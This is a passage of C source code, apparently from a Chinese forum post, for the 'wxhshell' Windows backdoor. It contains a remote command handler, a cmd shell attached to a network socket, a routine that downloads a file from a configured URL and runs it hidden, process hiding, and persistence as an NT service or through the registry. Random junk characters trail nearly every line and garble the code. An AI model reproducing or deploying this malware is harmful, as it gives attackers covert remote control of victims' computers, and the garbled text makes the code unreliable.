    switch(cmd[0]) { PG@Uygahu  
  \xtY\q,[  
  // 帮助 ;ty08D/  
  case '?': { CAs8=N#H%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 71)DLGL  
    break; nqnVFkGd9  
  } a,>`ab%>  
  // 安装 -Y?C1DbKz  
  case 'i': { -chk\75  
    if(Install()) 3G r:.V9=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=b# >//  
    else %d%$jF`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^nPk;%`0  
    break; dq.'[  
    } #KFpT__F  
  // 卸载 5:" zs  
  case 'r': { mmf}6ABYT  
    if(Uninstall()) _T8o]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dE ,NG)MH  
    else VZ o,AP~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ggQBQ/ L  
    break; $N@EH;{_0  
    } ~a5-xWEZ  
  // 显示 wxhshell 所在路径 F4o)6+YM   
  case 'p': { O|ODJOQNol  
    char svExeFile[MAX_PATH]; liU/O:Ap  
    strcpy(svExeFile,"\n\r"); IRq@~vdt)  
      strcat(svExeFile,ExeFile); f>i" j  
        send(wsh,svExeFile,strlen(svExeFile),0); S(&]?!  
    break; J/-&Fa\(  
    } Zo12F**{  
  // 重启 2Pa Rbh{"  
  case 'b': { *F_ dP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nKR=/5a4Y  
    if(Boot(REBOOT)) 6/4?x)l3-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q-k~L\Ys  
    else { rzk]{W  
    closesocket(wsh); udld[f.  
    ExitThread(0); px7<;(I  
    } 4fuK pLA  
    break; 7UVhyrl  
    } #<4/ *< 5  
  // 关机 < .\2 Ec  
  case 'd': { z]\CI:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q.GA\o  
    if(Boot(SHUTDOWN)) +DpiX&^h   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K.in3M(  
    else { M~o\K'  
    closesocket(wsh); X~#jx(0_  
    ExitThread(0); EId_1F;V^  
    } OS.oknzZZ  
    break; zA<Hj;9SM  
    } "&@v[O)!xu  
  // 获取shell &OXnZT3P  
  case 's': { )9PP3"I  
    CmdShell(wsh); eG F{.]  
    closesocket(wsh); 0}:wM':G  
    ExitThread(0); |K7zN\ Wq  
    break; *!W<yNrR  
  } Gs0x;91  
  // 退出 'IykIf  
  case 'x': { q| EE em  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '9w.~@7  
    CloseIt(wsh); kr=&x)Wy!  
    break; 4!3mSWNV  
    } sz?/4tY  
  // 离开 ~?BN4ptc  
  case 'q': { yn;sd+:z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c}l?x \/  
    closesocket(wsh); Z(gW(O9h.V  
    WSACleanup(); s .xJ},E9  
    exit(1); L<` p;?   
    break; QnJ(C]cW  
        } 'x{E#4A  
  } *pZhwO !D  
  } kv)IG$S 0  
<z2*T \B!8  
  // 提示信息 # $dk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FK:Tni  
} \{Yi7V Xv  
  } .dr-I7&!  
"j]85  
  return; GQR|t?:t  
} ~Wox"h}(  
.w@o%AO_  
// shell模块句柄 dh; L!  
int CmdShell(SOCKET sock) B0&W wa:  
{ /Ayo78Pi  
STARTUPINFO si; >E:V7Fa  
ZeroMemory(&si,sizeof(si)); Af V a[{E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hyj<Fqr!.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vw P+tM  
PROCESS_INFORMATION ProcessInfo; <,Z6=M`  
char cmdline[]="cmd"; "F.0(<4)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TSPFi0PP  
  return 0; lZI?k=rWv  
} m%[Ul@!V  
:I)WSXP9h  
// 自身启动模式 jH4'jB  
int StartFromService(void) B7R*g,(  
{ Alh"ZT^*  
typedef struct "'8^OZR  
{ [*jvvkAp  
  DWORD ExitStatus; %`F &,!d  
  DWORD PebBaseAddress; N-~Uu6zr  
  DWORD AffinityMask; 3<L>BakD  
  DWORD BasePriority; Mjr19_.S  
  ULONG UniqueProcessId; i`F8kg`_K  
  ULONG InheritedFromUniqueProcessId; W ^MF3  
}   PROCESS_BASIC_INFORMATION; {~lVe GBp  
6y4&nTq[  
PROCNTQSIP NtQueryInformationProcess; ~Ip-@c}'j  
a#_=c>h;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  Q9!T@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~%8T_R/3  
O6gl[aZN  
  HANDLE             hProcess; e=yQFzQT)  
  PROCESS_BASIC_INFORMATION pbi; K< ;I*cAX  
@S%ogZz*m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /&`sB|  
  if(NULL == hInst ) return 0; YV p sf8R  
@'Y^A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1_aUU,|.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); , Ac gsC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bIR&e E  
C(Bh<c0@  
  if (!NtQueryInformationProcess) return 0; X/8CvY#n  
&ml7368@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vfn _Nq;  
  if(!hProcess) return 0; \N[Z58R !z  
)rqb<O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bu j}pEI  
9MI~yIt`L  
  CloseHandle(hProcess); a(qij&>  
zHEH?xZ6sD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [lmghI!  
if(hProcess==NULL) return 0; }#0i1]n$D  
\m\E*c ):  
HMODULE hMod; PqhR^re0.  
char procName[255]; %O=U|tuc$  
unsigned long cbNeeded; .o._`"V  
2EU((Q`>=(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6w )mo)<X  
D #`o  
  CloseHandle(hProcess); Exy|^Dr0  
Pa8E.<>  
if(strstr(procName,"services")) return 1; // 以服务启动 ^ |xSU_wa  
}r+(Z.BHM  
  return 0; // 注册表启动 7jZE(|G-  
} mn>$K"_k  
~g6`Cp`  
// 主模块 a (mgz&*  
int StartWxhshell(LPSTR lpCmdLine) )yOdRRP  
{ 9HtzBS  
  SOCKET wsl; \Y4>_Mk  
BOOL val=TRUE; yqY nd<K4  
  int port=0; b `7vWyp  
  struct sockaddr_in door; Al 0 i{.V  
'#;%=+=;  
  if(wscfg.ws_autoins) Install(); ;$\?o  
KliMw*5(  
port=atoi(lpCmdLine); "IjCuR;#  
+J`HI1  
if(port<=0) port=wscfg.ws_port; 0|D^_1W`R  
tJ_6dH8Y  
  WSADATA data; pKnM=N1f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,"@Tm01os  
R?/!7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vZ rE9C }  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X q"_^  
  door.sin_family = AF_INET; [b=l'e/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c6;326aD q  
  door.sin_port = htons(port); 3p%B  
Ub(8ko:8$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nQ$4W  
closesocket(wsl); m,u5S=3A{!  
return 1; S m%\,/3  
} t=K;/ 1  
} ^}fx [  
  if(listen(wsl,2) == INVALID_SOCKET) { #TXN\YNP  
closesocket(wsl); BeNH"Y:E  
return 1; HkP')= sa  
} ib3 u:  
  Wxhshell(wsl); CSA.6uIT  
  WSACleanup(); C0eqC u)Q  
YV6@SXy  
return 0; "<e<0::  
E!,+#%O>  
} @AvDV$F  
ptCFW_UV  
// 以NT服务方式启动 /^F_~.u{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cEP!DUo  
{ cIm_~HH  
DWORD   status = 0; (Ov{gj^  
  DWORD   specificError = 0xfffffff; )t$<FP  
/YyimG7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zE~{}\J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XMR$I&;G8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w;=fi}<G|e  
  serviceStatus.dwWin32ExitCode     = 0; A<1:vV  
  serviceStatus.dwServiceSpecificExitCode = 0; [32]wgw+{1  
  serviceStatus.dwCheckPoint       = 0; e]1&f.K  
  serviceStatus.dwWaitHint       = 0; z<T(afM{*  
<;O -N=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9i&(VzY[=  
  if (hServiceStatusHandle==0) return; HB>&}z0  
udEJo~u  
status = GetLastError(); a-A>A_.  
  if (status!=NO_ERROR) ="k9 y  
{ MM+xm{4l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XL`*T bx  
    serviceStatus.dwCheckPoint       = 0; Ve]ufn6  
    serviceStatus.dwWaitHint       = 0; e(5 :XHe  
    serviceStatus.dwWin32ExitCode     = status; :jJ;&t^^  
    serviceStatus.dwServiceSpecificExitCode = specificError; #[Z1W8e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (P+TOu-y\  
    return; sQ)D.9\~  
  } >nqDUGnEo>  
v>p UVM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U #u=9%'  
  serviceStatus.dwCheckPoint       = 0; yFD3:;}  
  serviceStatus.dwWaitHint       = 0; 3U_-sMOB|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,n}h_ct  
} ~x!"(  
y@T 0 jI  
// 处理NT服务事件,比如:启动、停止 Wk0"U V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p)dD{+"/2  
{ 3@t&5UjwQ  
switch(fdwControl) )&nfV5@"  
{ GG9YAu  
case SERVICE_CONTROL_STOP: w$D&LA}(M  
  serviceStatus.dwWin32ExitCode = 0; UdIl5P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z'W8t|m}Pb  
  serviceStatus.dwCheckPoint   = 0; C1x"q9| \`  
  serviceStatus.dwWaitHint     = 0; mMz^I7$  
  { 9AA_e ~y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kF1Tg KSd  
  } (oftq!X2  
  return; 6t,_Xqg*  
case SERVICE_CONTROL_PAUSE: w%3R[Kdzk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~6<'cun@x  
  break; :EkhF6B/  
case SERVICE_CONTROL_CONTINUE: hk +@ngh%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]c Or$O*  
  break; b3zxiq x  
case SERVICE_CONTROL_INTERROGATE: s`Y8 &e.Yr  
  break; -msfiO  
}; ']x`d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &F8N$H  
} ;cFlZGw   
T3JM8  
// 标准应用程序主函数 =SY`Xkj[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7,.3'cCL^  
{ e"){B  
B@8M2Pl  
// 获取操作系统版本 %u)niY-g  
OsIsNt=GetOsVer(); wWaJ%z>3y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K [.*8  
o>#ue<Bc6  
  // 从命令行安装 "B$r{ vG  
  if(strpbrk(lpCmdLine,"iI")) Install(); =vpXYj  
d'x'hp%  
  // 下载执行文件 wa)E.(x  
if(wscfg.ws_downexe) { (>LJv |wn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oZ /z{`  
  WinExec(wscfg.ws_filenam,SW_HIDE); /^2&@P7  
} wT taj08D  
A#&,S4Wi|  
if(!OsIsNt) { h&k*i  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dh4 EP/=z  
HideProc(); 'X$J+s}6&  
StartWxhshell(lpCmdLine); si!jB%^  
} &4dh$w]q  
else 'Avp16zg  
  if(StartFromService()) qubyZ8hx  
  // 以服务方式启动 S5,y!K]C~  
  StartServiceCtrlDispatcher(DispatchTable); < s>y{ e  
else ;PA^.RB  
  // 普通方式启动 [yEH!7  
  StartWxhshell(lpCmdLine); C{5bG=Sg~  
R9!GDKts%  
return 0; >l$qE  
}
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只看该作者 1 发表于: 2006-10-10
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